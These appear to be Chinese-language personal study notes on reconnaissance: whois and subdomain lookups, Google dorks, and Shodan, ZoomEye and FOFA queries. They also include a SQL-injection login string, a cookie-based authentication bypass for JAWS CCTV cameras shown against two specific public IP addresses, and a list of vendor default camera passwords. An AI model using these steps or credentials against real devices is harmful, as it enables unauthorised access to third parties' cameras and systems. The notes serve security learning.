网络安全学习笔记：信息收集

1、收集内容

DNS信息：域名注册商、管理员联系方式、电话、邮箱、子域名

1、whois kali工具

2、whois.chinaz.com 站长之家 子域名查询

1、searchdns.netcraft.com

2、证书 判断对方操作系统 windows还是linux，是否大小写 搜索引擎

google hacking      google--机器人、hacking---搜索引擎语法

site    --- 指定网站
""      --- 包含关键字
inurl   --- 在url中出现的关键字
filetype    --- 搜索文件类型
探索网站目录结构
"parent directory" site:testfire.net
​
搜索容易存在sql 注入的页面
site:testfire.net inurl:login
​
搜索指定的文件类型
filetype pdf
​
搜索phpinfo()
intext:"PHP Version" exit:php intest:"disabled" intext:"BuildDate" intext:"Syatem" intext:"allow_url_fopen"
​
搜索phpstudy
搜索php 探针
intitle:"php中文网 探针2014"

空间搜索引擎

https://www.zoomeye.org/
https://fofa.so/
https://www.shodan.io/

​
ZoomEye 支持公网设备指纹检索和Web 指纹检索。网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据等。
​
搜索iis6.0 组件

app:"Microsoft IIS httpd" ver:"6.0"

​
搜索开启3389 端口的windows 主机

port:3389 OS:windows

万能登录密码  [admin/123456' or '1'='1]
​

利用shodan 搜索
​
JAWS/1.1    ---某一款CCTV摄像头漏洞
    空口令登录
    http://200.118.68.42:60001/view2.html
    登录绕过---代码绕过---
    http://79.20.218.102
F12控制台---allow pasting
    document.cookie="dvr_camcnt=4";
    document.cookie="dvr_usr=admin";
    document.cookie="dvr_pwd=123";
回车
然后在网址后加上/view2.html

其他摄像头
海康威视IP网络摄像机admin，密码12345
Hiskvision
Server:DVRDVS-Webs
大华网络摄像头admin，密码：888888
天地伟业网络摄像机Admin，密码：111111

​

web服务器信息收集

火狐插件
    netcraft插件
    https://sitereport.netcraft.com/?url=http://testfire.net    查看网站详细信息
    wappalyzar插件